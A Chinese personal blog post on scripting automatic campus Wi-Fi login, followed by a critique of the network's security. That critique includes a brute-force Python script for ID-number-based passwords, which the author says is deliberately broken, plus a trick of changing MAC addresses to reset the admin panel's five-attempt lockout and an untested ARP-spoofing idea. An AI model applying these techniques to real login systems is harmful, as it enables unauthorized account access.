登录后台

页面导航

本文编写于 281 天前,最后修改于 264 天前,其中某些信息可能已经过时。

1. 校园网自动登录

  每次电脑开机,WiFi就会自动连接校园网,但是还要进入登录页输入账号密码。有没有比较省事的方法呢,那当然是自己写一个自动登录。
  打开登录页面,输好账号密码,按下F12,选择网络,点击登录按钮,就可以看到浏览器向10.51.2.20:80发送了一个GET请求。也就是说,只要发送这个请求,就能登录校园网了。这个请求有三个必要参数callback、DDDDD(用户名)和upass(密码),后面的都是环境信息,没什么影响。

response.png

  Pyhton代码如下

import os

username = "admin"    # 用户名
password = "passwd"   # 密码

base_url = "http://10.51.2.20/drcom/login"
params = {
    "callback": "dr1003",
    "DDDDD": f"{username}@cmcc",
    "upass": password,
}
url = base_url + "?" + "&".join([f"{key}={value}" for key, value in params.items()])

os.system(f"curl \"{url}\"")

  代码非常简短,只有十几行。写好后保存,按住Win+R,打开运行,输入shell:startup,回车,进入启动文件夹,将程序放入即可开机联网自动登录。

  代码写多了,Python文件有的时候是VScode打开,也可以用C写代码,写完后编译成exe文件

#include <windows.h>

int main() 
{
    system("curl \"http://10.51.2.20/drcom/login?callback=dr1003&DDDDD=admin%40cmcc&upass=passwd");
    return 0; 
}

2. 关于校园网安全性

密码的暴力破解

  不难发现,这条请求是HTTP明文发送。浏览器也给出了警告。

http.png

  最重要的是,校园网没有设置安全措施,比如说登陆次数过多强制等待、验证码等。这就可以用暴力方法破解密码,已知密码为身份证后六位,那么密码前两位即为日期01-31,后四位为随机数0000-9999,若不算身份证后带X的,总可能数为310000.经过测试与推算,大约全部试完需要28h.请求也不能发的太快,不然就成了DoS攻击了,服务器来不及处理请求。

  Python代码如下

import request
import os

url = "http://10.51.2.20/drcom/login"

for first_two_digits in range(1, 32):  
    if found_password:
        break  
    for last_four_digits in range(10000):  
        upass = f"{first_two_digits:02}{last_four_digits:04}"
        
        params = {
            "callback": "dr1003",
            "DDDDD": "admin",
            "upass": upass
        }
        
        try:
            response = requests.get(url, params=params)
            
            result_match = re.search(r'"result":(\d+)', response.text)
            if result_match:
                result = int(result_match.group(1))
                if result == 0:
                    found_password = upass  
                    print(f"成功登录,密码为: {upass}")
                    break
                else:
                    print(f"尝试密码: {upass},登录失败")
            else:
                print(f"无法解析响应:{response.text}")
        except Exception as e:
            print(f"发生异常")

os.system("pause")

  这代码是能发的吗?(雾)
  代码我添加了一些故意的语法和逻辑错误,如果缺乏对应的知识,这也只是一些无用的符号。
  但是,它的安全性实在过低,懂的人都懂。

后台管理系统

  用nmap扫描一下登录的IP地址,很轻松就发现了后台管理端口。进去发现有登录次数限制,每天仅能试错五次。我想起校园网的IP地址是根据MAC用DHCP协议随机分配的,于是我勾选了使用随机MAC地址这个选项,断开网络重新连接,发现试错次数又变成5了……但密码的位数至少是六位,至少这个措施还是有点用的。

使用ARP欺骗破解(幻想,未实践)  

  当一台设备需要与另一台设备通信时,它会发送一个ARP请求以获取目标设备的MAC地址。这个请求会广播到网络中的所有设备。目标设备接收到请求后,会发送一个ARP响应,其中包含自己的MAC地址。ARP攻击者利用这一过程进行攻击,可以发送虚假的ARP响应,告诉网络中其他设备,例如路由器或者另一台主机,他们的MAC地址就是目标设备的MAC地址。这样,其他设备在发送数据时就会将数据发送到攻击者的设备上,攻击者可以在其中截取、篡改或者重定向数据流量,进行中间人攻击,使得通信双方都认为他们在与正确的目标设备通信。

  理论上,可以伪装自己为网关,从而截获登录请求,甚至还可以转发出去,让被攻击者无察觉。

  在kali上用arpspoof,可以伪装成网关,以我的手机为靶机,已经验证过可以欺骗目标使之断网,但从未尝试过接收数据或发起中间人攻击。当然,如果我这么做,大概率会被学校的网络安全和信息化办公室请去喝茶。

文章头图:平凡的一天 - 小云兮入眠 / 花铭 #Pixiv